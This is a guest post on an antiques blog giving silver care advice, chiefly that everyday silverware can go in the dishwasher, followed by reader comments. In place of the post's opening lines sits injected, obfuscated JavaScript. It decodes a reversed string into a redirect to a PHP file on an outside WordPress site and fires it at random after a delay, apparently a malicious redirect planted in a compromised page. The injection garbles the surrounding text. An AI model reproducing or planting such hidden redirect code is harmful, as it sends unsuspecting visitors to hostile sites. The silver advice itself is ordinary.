Guest Blog: Diva’s Don’t Do Dishes

Dear Diva Readers,

Today we’ve got the fabulous Nancy Stuckwisch of Silver Magpies joining us on The Antiques Diva® Blog and she is here to share some hints & tips on Silver! 

Silver Magpie’s Advice on Silver Reads:

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to dig it out? Keep it nearby so you can just use it.”]Divas Don't Do Dishes

Divas don’t do dishes

Does it matter why divas don’t do dishes? Of course it does…it matters not because they are divas but because they possess a secret that the rest of us have been locked out of for far to long!

Dishing about silver’s secrets

That’s what dishwashers were invented for! Silver is much more durable than it’s given credit for. Every day my family uses 250 year old spoons. I guarantee that they have not been lovingly hand polished by a kid-glove wearing butler each time they have been used. For most of their long existence it’s more likely they’ve been dumped in a sink and left for the scullery maid to scrub.

In our house, once we are done using them, into the dishwasher they go. And throughout all of this the silver has not been worn away or damaged. It doesn’t have a mirror bright finish, but that’s because it’s not meant to!

John Bly author of Miller’s Silver and Sheffield Plate Marks laments overzealous polishing. One of the many charms of silver is it’s living finish, that lovely grey sheen – patina or skin – indicative of use. Collectors prize patina.

Cleaning and polishing are distinctly different things

Let’s get this straight. Polishing should only be an occasional event. Tarnish builds up on silver as it reacts to sulfur in the air. Regular use and handling ensure that tarnish never gets a chance to build up. It’s only once tarnish has had a couple of years to get nice and dark that it is a real task to polish off.

Please believe me when I say polishing is not my idea of fun. I do so much of it when getting items prepared for sale the last thing I want to do is polish my own. But I do want to use it…every day.

Cleaning is what you do after having used a fork at dinner time. There are a couple of common sense guidelines, but my favorite way to to clean silver” href=”” target=”_blank”>clean silver is in the dishwasher! Every so often (and we’re talking year long intervals here) I do give it a light going over. My particular preference is to use a polish designed to be washed rather than buffed off.

Want to know the second secret of silver?

Life is too short to save the silver for best…and who has time to polish it when that occasion does finally roll around. Make every day best…a meal with your family is so much sweeter when it’s eaten with a fork from Grandma or that amazing spoon you fell in love with. Out of sight really is out of mind, so keep it in easy reach.


It’s chic to share a secret like this, because every diva knows, the more you use your silver, the less you polish it.



Silver Magpies


Nancy Stuckwisch of Silver Magpies has had a life-long fascination with vintage silver. She believes we should get the silver out of the cupboard, onto the table, and then into the dishwasher.

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

  • Hi Parisbug –

    Your Grandmother is correct. It’s a little difficult to see, but there is a link in the post “clean silver in the dishwasher”. It takes you here –

    – this page has lots of information and a *downloadable PDF* with all the pertinent tips!

    Thanks for reading Parisbug. Were we introduced to each other by @WykehamGirl on Twitter? I must go and see :~)

  • My Norwegian grandmother’s been doing that for years & I always loved it! But, her one rule was never to put stainless steel utensils in the basket with the silverware (it couldn’t touch) as that ‘stained’ (not exact translation)….& I’ve followed that rule myself…thoughts?? 🙂

  • Toma – thank you again for posting this on your site. I’m very excited!

    And Karenna – yes, life is too short not to use our beautiful items. And we are so fortunate to have them, it seems such a shame to never use them.


  • Toma wonderful of you to feature Nancy and her valuable Silver tips! I can not only use my silver more often,; it can be tossed in the dishwasher!

    I am a believer of using the nice things that one owns! Life is too short!


    Art by Karena